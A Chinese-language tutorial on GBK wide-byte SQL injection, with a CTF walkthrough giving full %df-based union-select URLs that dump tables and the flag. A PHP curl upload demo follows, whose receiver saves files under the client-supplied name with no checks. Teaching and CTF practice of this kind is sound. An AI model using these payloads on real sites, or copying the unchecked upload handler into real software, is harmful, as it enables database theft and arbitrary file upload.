目录
0x01 基础知识
窄、宽字节已经常见宽字节编码:
-
当某字符的大小为一个字节时,称其字符为窄字节.
-
当某字符的大小为两个字节时,称其字符为宽字节.
-
所有英文默认占一个字节,汉字占两个字节
-
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
1. 字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
2. UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
3. 宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
0x02 相关函数
addslashes()函数
1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
2、预定义字符是:单引号('),双引号("),反斜杠(\),NULL
3、实例
<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
运行结果:
aiyou\"bu\"cuoo
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。
但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。一般经典的使用%df
0x03 例题
南邮nctf-sql injection 3
https://chinalover.sinaapp.com/SQL-GBK/https://chinalover.sinaapp.com/SQL-GBK/
https://chinalover.sinaapp.com/SQL-GBK/?id=1
https://chinalover.sinaapp.com/SQL-GBK/?id=1'
发现被转义了
使用最经典的%df
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23
%df与/组成了一个汉字綅
爆数据库
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1
union select 1,database()%23
爆表名
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1
union select 1,group_concat(table_name)
from information_schema.tables where table_schema=database()%23
爆字段
注意这里要将表名转化为16进制,并在前面加上0x
ctf4—>0x63746634
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1
union select 1,group_concat(column_name)
from information_schema.columns where table_name=0x63746634%23
爆值
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,
(select flag from ctf4)%23
总结:
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\
符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入
0x04 PHP curl 模拟文件上传
test.php:
<?php
header('content-type:text/html;charset=utf8');
$ch = curl_init();
//加@符号curl就会把它当成是文件上传处理
$data = array('img'=>'@'. dirname(__FILE__).'/img/1.jpg');
curl_setopt($ch,CURLOPT_URL,"http://localhost:8088/curl/get_img.php");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result = curl_exec($ch);
curl_close($ch);
echo json_decode($result);
?>
加@符号curl就会把它当成是文件上传处理
get_img.php:
<?php
if($_FILES){
$filename = $_FILES['img']['name'];
$tmpname = $_FILES['img']['tmp_name'];
if(move_uploaded_file($tmpname,dirname(__FILE__).'/upload/'.$filename)){
echo json_encode('上传成功');
}else{
$data = json_encode($_FILES);
echo $data;
}
}
?>
当我访问test.php时将会显示“上传成功”,且upload文件夹下会生成1.jpg图片文件。
解释
CURL是一个非常强大的开源库,支持很多协议,包括HTTP、FTP、TELNET等,我们使用它来发送HTTP请求。它给我 们带来的好处是可以通过灵活的选项设置不同的HTTP协议参数,并且支持HTTPS。CURL可以根据URL前缀是“HTTP” 还是“HTTPS”自动选择是否加密发送内容。
使用CURL发送请求的基本流程
使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下几个步骤:
- 初始化连接句柄;
- 设置CURL选项;
- 执行并获取结果;
- 释放VURL连接句柄。
实例
下面的程序片段是使用CURL发送HTTP的典型过程
1. 初始化
$ch = curl_init();
2. 设置选项,包括URL
curl_setopt($ch,CURLOPT_URL,"http://www.devdo.net");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_HEADER,0);
3. 执行并获取HTML文档内容
$output = curl_exec($ch);
if($output === FALSE ){
echo "CURL Error:".curl_error($ch);
}
4. 释放curl句柄
curl_close($ch);
说明:
PHP5.6之前的版本上传文件使用:@
Php5.6之后的版本使用new CURLFile()
这样其他服务器接收到数据之后,就可以移动了